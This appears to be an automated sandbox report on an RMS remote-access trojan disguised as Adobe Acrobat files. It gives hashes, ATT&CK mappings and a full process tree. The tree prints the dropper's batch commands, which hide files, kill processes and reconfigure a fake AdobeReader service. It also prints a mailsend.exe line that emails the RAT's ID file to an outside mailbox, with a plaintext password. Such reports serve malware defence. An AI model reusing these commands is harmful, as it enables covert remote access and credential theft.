rms | 7adfb53ec021010a6921ac70f006c588d25278591ebc7a141a97db8e8ce10e2c

Analysis

max time kernel
150s
max time network
143s
platform
windows10_x64
resource
win10v20201028
submitted
25/02/2021, 00:37

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General

Target

7adfb53ec021010a6921ac70f006c588d25278591ebc7a141a97db8e8ce10e2c.bin.exe
Size

5.0MB
MD5

24cae17860a840c0317018ef3d607e94
SHA1

7595283fd24ebae9f95ea80209d674ca9bd2afcc
SHA256

7adfb53ec021010a6921ac70f006c588d25278591ebc7a141a97db8e8ce10e2c
SHA512

bdfe1b899ef55a0ae793e672c190d79161899179d98b0577b5ceda8f02c66376ca0d366c0f087dbb043d30c7ec41a39b0cd2fcc6be4d66639777c6430db3ee82

Score

10^/10

rms discovery evasion rat trojan

Malware Config

Signatures

RMS
Remote Manipulator System (RMS) is a remote access tool developed by Russian organization TektonIT.
trojan rat rms

Executes dropped EXE 8 IoCs

pid	Process
4432	AdobeFP.exe
4516	AdobeFP.exe
656	AdobeFP.exe
808	AdobeFP.exe
1116	Acrobat-XI.exe
1120	Acrobat-XI.exe
4684	Acrobat-XI.exe
4348	mailsend.exe

Sets file to hidden 1 TTPs
Modifies file attributes to stop it showing in Explorer etc.
evasion

Hidden Files and Directories
T1158
Stops running service(s) 3 TTPs
evasion

Modify Existing Service
T1031

Impair Defenses
T1562

Service Stop
T1489
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Drops file in Program Files directory 27 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Adobe\AdobeAcrobat\vp8decoder.dll	7adfb53ec021010a6921ac70f006c588d25278591ebc7a141a97db8e8ce10e2c.bin.exe
File opened for modification	C:\Program Files\Adobe\AdobeAcrobat\vp8decoder.dll	attrib.exe
File opened for modification	C:\Program Files\Adobe\AdobeAcrobat\Acrobat-XI.exe	7adfb53ec021010a6921ac70f006c588d25278591ebc7a141a97db8e8ce10e2c.bin.exe
File opened for modification	C:\Program Files\Adobe\AdobeAcrobat\mailsend.exe	7adfb53ec021010a6921ac70f006c588d25278591ebc7a141a97db8e8ce10e2c.bin.exe
File opened for modification	C:\Program Files\Adobe\AdobeAcrobat\regedit.reg	7adfb53ec021010a6921ac70f006c588d25278591ebc7a141a97db8e8ce10e2c.bin.exe
File opened for modification	C:\Program Files\Adobe\AdobeAcrobat\IT.txt	reg.exe
File opened for modification	C:\Program Files\Adobe\AdobeAcrobat\mailsend.exe	attrib.exe
File opened for modification	C:\Program Files\Adobe\AdobeAcrobat\vp8encoder.dll	7adfb53ec021010a6921ac70f006c588d25278591ebc7a141a97db8e8ce10e2c.bin.exe
File opened for modification	C:\Program Files\Adobe\AdobeAcrobat\install.bat	7adfb53ec021010a6921ac70f006c588d25278591ebc7a141a97db8e8ce10e2c.bin.exe
File opened for modification	C:\Program Files\Adobe\AdobeAcrobat\vp8encoder.dll	attrib.exe
File opened for modification	C:\Program Files\Adobe\AdobeAcrobat\install.bat	attrib.exe
File opened for modification	C:\Program Files\Adobe\AdobeAcrobat\IT.txt	attrib.exe
File opened for modification	C:\Program Files\Adobe\AdobeAcrobat\Acrobat-XI.exe	attrib.exe
File opened for modification	C:\Program Files\Adobe\AdobeAcrobat\mailsend.exe	attrib.exe
File opened for modification	C:\Program Files\Adobe\AdobeAcrobat\webmvorbisencoder.dll	7adfb53ec021010a6921ac70f006c588d25278591ebc7a141a97db8e8ce10e2c.bin.exe
File created	C:\Program Files\Adobe\AdobeAcrobat\IT.txt	reg.exe
File opened for modification	C:\Program Files\Adobe\AdobeAcrobat\webmmux.dll	7adfb53ec021010a6921ac70f006c588d25278591ebc7a141a97db8e8ce10e2c.bin.exe
File opened for modification	C:\Program Files\Adobe\AdobeAcrobat\install.bat	attrib.exe
File opened for modification	C:\Program Files\Adobe\AdobeAcrobat\regedit.reg	attrib.exe
File opened for modification	C:\Program Files\Adobe\AdobeAcrobat\AdobeFP.exe	7adfb53ec021010a6921ac70f006c588d25278591ebc7a141a97db8e8ce10e2c.bin.exe
File opened for modification	C:\Program Files\Adobe\AdobeAcrobat	attrib.exe
File opened for modification	C:\Program Files\Adobe\AdobeAcrobat\regedit.reg	attrib.exe
File opened for modification	C:\Program Files\Adobe\AdobeAcrobat\webmvorbisdecoder.dll	attrib.exe
File opened for modification	C:\Program Files\Adobe\AdobeAcrobat\webmvorbisdecoder.dll	7adfb53ec021010a6921ac70f006c588d25278591ebc7a141a97db8e8ce10e2c.bin.exe
File opened for modification	C:\Program Files\Adobe\AdobeAcrobat\AdobeFP.exe	attrib.exe
File opened for modification	C:\Program Files\Adobe\AdobeAcrobat\webmmux.dll	attrib.exe
File opened for modification	C:\Program Files\Adobe\AdobeAcrobat\webmvorbisencoder.dll	attrib.exe

Launches sc.exe
Sc.exe is a Windows utlilty to control services on the system.
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Delays execution with timeout.exe 2 IoCs

evasion

pid	Process
196	timeout.exe
1540	timeout.exe

Kills process with taskkill 4 IoCs

evasion

pid	Process
3912	taskkill.exe
4076	taskkill.exe
4068	taskkill.exe
3816	taskkill.exe

Runs .reg file with regedit 1 IoCs

pid	Process
4508	regedit.exe

Suspicious behavior: EnumeratesProcesses 20 IoCs

pid	Process
4432	AdobeFP.exe
4432	AdobeFP.exe
4432	AdobeFP.exe
4432	AdobeFP.exe
4432	AdobeFP.exe
4432	AdobeFP.exe
4516	AdobeFP.exe
4516	AdobeFP.exe
656	AdobeFP.exe
656	AdobeFP.exe
808	AdobeFP.exe
808	AdobeFP.exe
808	AdobeFP.exe
808	AdobeFP.exe
808	AdobeFP.exe
808	AdobeFP.exe
1116	Acrobat-XI.exe
1116	Acrobat-XI.exe
4348	mailsend.exe
4348	mailsend.exe

Suspicious behavior: SetClipboardViewer 1 IoCs

pid	Process
4684	Acrobat-XI.exe

Suspicious use of AdjustPrivilegeToken 9 IoCs

description	pid	Process
Token: SeDebugPrivilege	3912	taskkill.exe
Token: SeDebugPrivilege	4076	taskkill.exe
Token: SeDebugPrivilege	4068	taskkill.exe
Token: SeDebugPrivilege	3816	taskkill.exe
Token: SeDebugPrivilege	4432	AdobeFP.exe
Token: SeDebugPrivilege	656	AdobeFP.exe
Token: SeTakeOwnershipPrivilege	808	AdobeFP.exe
Token: SeTcbPrivilege	808	AdobeFP.exe
Token: SeTcbPrivilege	808	AdobeFP.exe

Suspicious use of SetWindowsHookEx 4 IoCs

pid	Process
4432	AdobeFP.exe
4516	AdobeFP.exe
656	AdobeFP.exe
808	AdobeFP.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4712 wrote to memory of 3600	4712	7adfb53ec021010a6921ac70f006c588d25278591ebc7a141a97db8e8ce10e2c.bin.exe	75
PID 4712 wrote to memory of 3600	4712	7adfb53ec021010a6921ac70f006c588d25278591ebc7a141a97db8e8ce10e2c.bin.exe	75
PID 4712 wrote to memory of 3600	4712	7adfb53ec021010a6921ac70f006c588d25278591ebc7a141a97db8e8ce10e2c.bin.exe	75
PID 3600 wrote to memory of 2800	3600	cmd.exe	77
PID 3600 wrote to memory of 2800	3600	cmd.exe	77
PID 3600 wrote to memory of 2800	3600	cmd.exe	77
PID 3600 wrote to memory of 748	3600	cmd.exe	78
PID 3600 wrote to memory of 748	3600	cmd.exe	78
PID 3600 wrote to memory of 748	3600	cmd.exe	78
PID 3600 wrote to memory of 3188	3600	cmd.exe	79
PID 3600 wrote to memory of 3188	3600	cmd.exe	79
PID 3600 wrote to memory of 3188	3600	cmd.exe	79
PID 3600 wrote to memory of 3828	3600	cmd.exe	80
PID 3600 wrote to memory of 3828	3600	cmd.exe	80
PID 3600 wrote to memory of 3828	3600	cmd.exe	80
PID 3600 wrote to memory of 3912	3600	cmd.exe	81
PID 3600 wrote to memory of 3912	3600	cmd.exe	81
PID 3600 wrote to memory of 3912	3600	cmd.exe	81
PID 3600 wrote to memory of 4076	3600	cmd.exe	82
PID 3600 wrote to memory of 4076	3600	cmd.exe	82
PID 3600 wrote to memory of 4076	3600	cmd.exe	82
PID 3600 wrote to memory of 4068	3600	cmd.exe	83
PID 3600 wrote to memory of 4068	3600	cmd.exe	83
PID 3600 wrote to memory of 4068	3600	cmd.exe	83
PID 3600 wrote to memory of 3816	3600	cmd.exe	84
PID 3600 wrote to memory of 3816	3600	cmd.exe	84
PID 3600 wrote to memory of 3816	3600	cmd.exe	84
PID 3600 wrote to memory of 3324	3600	cmd.exe	85
PID 3600 wrote to memory of 3324	3600	cmd.exe	85
PID 3600 wrote to memory of 3324	3600	cmd.exe	85
PID 3600 wrote to memory of 4444	3600	cmd.exe	86
PID 3600 wrote to memory of 4444	3600	cmd.exe	86
PID 3600 wrote to memory of 4444	3600	cmd.exe	86
PID 3600 wrote to memory of 4432	3600	cmd.exe	87
PID 3600 wrote to memory of 4432	3600	cmd.exe	87
PID 3600 wrote to memory of 4432	3600	cmd.exe	87
PID 3600 wrote to memory of 4516	3600	cmd.exe	88
PID 3600 wrote to memory of 4516	3600	cmd.exe	88
PID 3600 wrote to memory of 4516	3600	cmd.exe	88
PID 3600 wrote to memory of 4508	3600	cmd.exe	89
PID 3600 wrote to memory of 4508	3600	cmd.exe	89
PID 3600 wrote to memory of 4508	3600	cmd.exe	89
PID 3600 wrote to memory of 4528	3600	cmd.exe	90
PID 3600 wrote to memory of 4528	3600	cmd.exe	90
PID 3600 wrote to memory of 4528	3600	cmd.exe	90
PID 3600 wrote to memory of 512	3600	cmd.exe	91
PID 3600 wrote to memory of 512	3600	cmd.exe	91
PID 3600 wrote to memory of 512	3600	cmd.exe	91
PID 3600 wrote to memory of 656	3600	cmd.exe	92
PID 3600 wrote to memory of 656	3600	cmd.exe	92
PID 3600 wrote to memory of 656	3600	cmd.exe	92
PID 808 wrote to memory of 1116	808	AdobeFP.exe	95
PID 808 wrote to memory of 1120	808	AdobeFP.exe	94
PID 808 wrote to memory of 1116	808	AdobeFP.exe	95
PID 808 wrote to memory of 1116	808	AdobeFP.exe	95
PID 808 wrote to memory of 1120	808	AdobeFP.exe	94
PID 808 wrote to memory of 1120	808	AdobeFP.exe	94
PID 3600 wrote to memory of 1540	3600	cmd.exe	96
PID 3600 wrote to memory of 1540	3600	cmd.exe	96
PID 3600 wrote to memory of 1540	3600	cmd.exe	96
PID 1116 wrote to memory of 4684	1116	Acrobat-XI.exe	100
PID 1116 wrote to memory of 4684	1116	Acrobat-XI.exe	100
PID 1116 wrote to memory of 4684	1116	Acrobat-XI.exe	100
PID 3600 wrote to memory of 4256	3600	cmd.exe	101

Views/modifies file attributes 1 TTPs 8 IoCs

evasion

Hidden Files and Directories

T1158

pid	Process
692	attrib.exe
2668	attrib.exe
4180	attrib.exe
2800	attrib.exe
748	attrib.exe
3188	attrib.exe
3828	attrib.exe
4184	attrib.exe

C:\Users\Admin\AppData\Local\Temp\7adfb53ec021010a6921ac70f006c588d25278591ebc7a141a97db8e8ce10e2c.bin.exe
"C:\Users\Admin\AppData\Local\Temp\7adfb53ec021010a6921ac70f006c588d25278591ebc7a141a97db8e8ce10e2c.bin.exe"
1⤵
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:4712
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Program Files\Adobe\AdobeAcrobat\install.bat" "
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3600
- - C:\Windows\SysWOW64\attrib.exe
    attrib +s +h "C:\Program Files\Adobe\AdobeAcrobat"
    3⤵
    - Drops file in Program Files directory
    - Views/modifies file attributes
    PID:2800
- - C:\Windows\SysWOW64\attrib.exe
    attrib +s +h "C:\Program Files\Adobe\AdobeAcrobat\*.*"
    3⤵
    - Drops file in Program Files directory
    - Views/modifies file attributes
    PID:748
- - C:\Windows\SysWOW64\attrib.exe
    attrib +s +h "C:\Program Files\Adobe\AdobeAcrobat\Logs"
    3⤵
    - Views/modifies file attributes
    PID:3188
- - C:\Windows\SysWOW64\attrib.exe
    attrib +s +h "C:\Program Files\Adobe\AdobeAcrobat\Logs\*.*"
    3⤵
    - Views/modifies file attributes
    PID:3828
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /im rfusclient.exe /f
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:3912
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /im rutserv.exe /f
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:4076
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /im Acrobat-XI.exe /f
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:4068
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /im AdobeFP.exe /f
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:3816
- - C:\Windows\SysWOW64\sc.exe
    sc delete AdobeReader
    3⤵
    PID:3324
- - C:\Windows\SysWOW64\reg.exe
    reg delete "HKLM\SYSTEM\Hardware Driver\LocalDisk" /f
    3⤵
    PID:4444
- - C:\Program Files\Adobe\AdobeAcrobat\AdobeFP.exe
    "C:\Program Files\Adobe\AdobeAcrobat\AdobeFP.exe" /silentinstall
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    PID:4432
- - C:\Program Files\Adobe\AdobeAcrobat\AdobeFP.exe
    "C:\Program Files\Adobe\AdobeAcrobat\AdobeFP.exe" /firewall
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of SetWindowsHookEx
    PID:4516
- - C:\Windows\SysWOW64\regedit.exe
    regedit /s "C:\Program Files\Adobe\AdobeAcrobat\regedit.reg"
    3⤵
    - Runs .reg file with regedit
    PID:4508
- - C:\Windows\SysWOW64\sc.exe
    sc failure AdobeReader reset= 0 actions= restart/1000/restart/1000/restart/1000
    3⤵
    PID:4528
- - C:\Windows\SysWOW64\sc.exe
    sc config AdobeReader obj= LocalSystem type= interact type= own
    3⤵
    PID:512
- - C:\Program Files\Adobe\AdobeAcrobat\AdobeFP.exe
    "C:\Program Files\Adobe\AdobeAcrobat\AdobeFP.exe" /start
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    PID:656
- - C:\Windows\SysWOW64\timeout.exe
    timeout 10
    3⤵
    - Delays execution with timeout.exe
    PID:1540
- - C:\Windows\SysWOW64\reg.exe
    reg export "HKLM\SYSTEM\Hardware Driver\LocalDisk\v4\Server\Parameters" "IT.txt"
    3⤵
    - Drops file in Program Files directory
    PID:4256
- - C:\Windows\SysWOW64\timeout.exe
    timeout 10
    3⤵
    - Delays execution with timeout.exe
    PID:196
- - C:\Program Files\Adobe\AdobeAcrobat\mailsend.exe
    mailsend.exe -t [email protected] -attach IT.txt,application/txt -sub "RMS ID" -smtp smtp.mail.ru -port 465 -f [email protected] -name "RMS ToktonIT" -ssl -auth-login -user [email protected] -pass hT*euyAyCT43 -q
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    PID:4348
- - C:\Windows\SysWOW64\attrib.exe
    attrib "regedit.reg" -S -H /S /D
    3⤵
    - Drops file in Program Files directory
    - Views/modifies file attributes
    PID:4184
- - C:\Windows\SysWOW64\attrib.exe
    attrib "install.bat" -S -H /S /D
    3⤵
    - Drops file in Program Files directory
    - Views/modifies file attributes
    PID:692
- - C:\Windows\SysWOW64\attrib.exe
    attrib "IT.txt" -S -H /S /D
    3⤵
    - Drops file in Program Files directory
    - Views/modifies file attributes
    PID:2668
- - C:\Windows\SysWOW64\attrib.exe
    attrib "mailsend.exe" -S -H /S /D
    3⤵
    - Drops file in Program Files directory
    - Views/modifies file attributes
    PID:4180

C:\Program Files\Adobe\AdobeAcrobat\AdobeFP.exe
"C:\Program Files\Adobe\AdobeAcrobat\AdobeFP.exe"
1⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:808
- C:\Program Files\Adobe\AdobeAcrobat\Acrobat-XI.exe
  "C:\Program Files\Adobe\AdobeAcrobat\Acrobat-XI.exe" /tray
  2⤵
  - Executes dropped EXE
  PID:1120
- C:\Program Files\Adobe\AdobeAcrobat\Acrobat-XI.exe
  "C:\Program Files\Adobe\AdobeAcrobat\Acrobat-XI.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:1116
- - C:\Program Files\Adobe\AdobeAcrobat\Acrobat-XI.exe
    "C:\Program Files\Adobe\AdobeAcrobat\Acrobat-XI.exe" /tray
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: SetClipboardViewer
    PID:4684

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Hidden Files and Directories

T1158

Modify Existing Service

T1031

Privilege Escalation

Defense Evasion

Hidden Files and Directories

T1158

Impair Defenses

T1562

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

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Downloads

memory/656-39-0x0000000000B30000-0x0000000000B31000-memory.dmp

Filesize
4KB

Download
memory/808-40-0x00000000001E0000-0x00000000001E1000-memory.dmp

Filesize
4KB

Download
memory/1116-48-0x00000000025C0000-0x00000000025C1000-memory.dmp

Filesize
4KB

Download
memory/1116-47-0x0000000003540000-0x0000000003541000-memory.dmp

Filesize
4KB

Download
memory/1116-46-0x0000000002D40000-0x0000000002D41000-memory.dmp

Filesize
4KB

Download
memory/1120-49-0x0000000000B20000-0x0000000000B21000-memory.dmp

Filesize
4KB

Download
memory/4348-60-0x00000000033F0000-0x00000000033F1000-memory.dmp

Filesize
4KB

Download
memory/4348-58-0x00000000033F0000-0x00000000033F1000-memory.dmp

Filesize
4KB

Download
memory/4348-59-0x0000000003BF0000-0x0000000003BF1000-memory.dmp

Filesize
4KB

Download
memory/4432-27-0x0000000002F10000-0x0000000002F11000-memory.dmp

Filesize
4KB

Download
memory/4432-26-0x0000000003710000-0x0000000003711000-memory.dmp

Filesize
4KB

Download
memory/4432-25-0x0000000002F10000-0x0000000002F11000-memory.dmp

Filesize
4KB

Download
memory/4432-31-0x0000000000C90000-0x0000000000C91000-memory.dmp

Filesize
4KB

Download
memory/4516-32-0x0000000000D10000-0x0000000000D11000-memory.dmp

Filesize
4KB

Download
memory/4684-52-0x0000000000B30000-0x0000000000B31000-memory.dmp

Filesize
4KB

Download